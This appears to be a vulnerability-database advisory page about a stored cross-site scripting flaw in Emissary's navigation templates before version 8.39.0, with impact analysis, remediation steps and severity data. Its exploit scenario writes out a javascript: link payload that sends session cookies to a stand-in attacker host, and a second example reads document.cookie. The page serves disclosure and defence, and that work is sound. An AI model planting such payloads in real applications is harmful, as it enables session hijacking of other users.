Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents moderate real-world risk despite the CVSS score of 4.8. The attack vector is network-based with low complexity, but mitigation is provided by two critical constraints: (1) attacker requires high-privilege administrative credentials (PR:H), and (2) exploitation requires user interaction (UI:R-a victim must click or interact with the malicious link). CVSS correctly assesses limited impact (Confidentiality:Low, Integrity:Low, Availability:None) since XSS can exfiltrate session tokens or perform actions on behalf of the victim but cannot directly compromise system availability or gain elevated access beyond what the victim already has. The stored nature of the XSS (persisted in configuration) means all subsequent users remain vulnerable until the configuration is remediated. Risk priority depends on organizational trust model: if administrators are assumed trustworthy, this is lower priority; if insider threats are a concern, this warrants immediate patching. No KEV status or public exploit code is indicated, reducing immediate exploitation pressure. |
| Exploit ScenarioDerived | An insider administrator with legitimate access to modify Emissary's navItems configuration injects a malicious entry such as {"label": "Help", "href": "javascript:fetch('https://attacker.com/steal?cookie=' + document.cookie)"}. When other authenticated analysts or operators view the Emissary dashboard and hover over or click the Help link, their browser executes the JavaScript payload in the application's origin, exfiltrating their session cookies to an attacker-controlled server. The attacker can then replay the stolen session tokens to impersonate the victim. No public exploit code is currently identified, and exploitation requires both administrative privilege and user interaction, limiting automated attack scenarios. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 07, 2026
Stored cross-site scripting in Emissary prior to 8.39.0 allows authenticated administrators to inject malicious javascript: URIs into navigation item configuration, which are then rendered unsafely in href attributes viewed by other authenticated users. The vulnerability requires high-privilege administrative access to modify navItems configuration but affects all other users accessing the web interface, with confirmed fix available in version 8.39.0.
RemediationAI
Vendor-released patch: Upgrade Emissary to version 8.39.0 or later, which includes URL scheme validation for href attributes in Mustache navigation templates. Organizations unable to upgrade immediately should audit all navItems configuration entries to remove or validate any navigation links, paying particular attention to entries containing javascript:, data:, or other non-standard URI schemes. Review access logs and authentication records to identify if any unauthorized configuration modifications occurred. Restrict administrative access to configuration systems to only trusted personnel and enable audit logging for configuration changes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Emissary uses Mustache templating to render navigation items from configuration-controlled data. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation-Cross-site Scripting) where user-supplied or configuration-controlled link values are interpolated directly into HTML href attributes without URL scheme validation. An attacker with administrative privileges can inject javascript: protocol URIs (e.g., href='javascript:alert(document.cookie)') into the navItems configuration object. When other authenticated users view the Emissary web interface, their browsers execute the injected JavaScript in the context of the application origin. The fix involves validating that href values conform to safe URL schemes (http, https) before rendering them in templates, preventing javascript: and data: protocol injection.
Know when Emissary gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, Mustache navigation templates interpolated configuration-controlled link values directly into href attributes without URL scheme validation. An administrator who could modify the navItems configuration could inject javascript: URIs, enabling stored cross-site scripting (XSS) against other authenticated users viewing the Emissary web interface. This vulnerability is fixed in 8.39.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Emissary is a P2P-based, data-driven workflow engine. Rated critical severity (CVSS 9.9), this vulnerability is remotely
Emissary is a P2P based data-driven workflow engine. Rated critical severity (CVSS 9.1), this vulnerability is remotely
The ConsoleAction component of U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authe
The ConfigFileAction component of U.S. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low
A Cross-site scripting (XSS) vulnerability in the DocumentAction component of U.S. Rated medium severity (CVSS 6.1), thi
Shell command injection in Emissary workflow engine below version 8.39.0 allows high-privileged attackers with repositor
U.S. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch
U.S. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch
Command injection in NSA Emissary P2P workflow engine (versions prior to 8.39.0) allows authenticated remote administrat
Emissary is a distributed, peer-to-peer, data-driven workflow framework. Rated high severity (CVSS 7.2), this vulnerabil
Emissary versions prior to 8.39.0 allow unauthenticated remote attackers to read arbitrary configuration files through p
EUVD-2026-19724
GHSA-cpm7-cfpx-3hvp
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB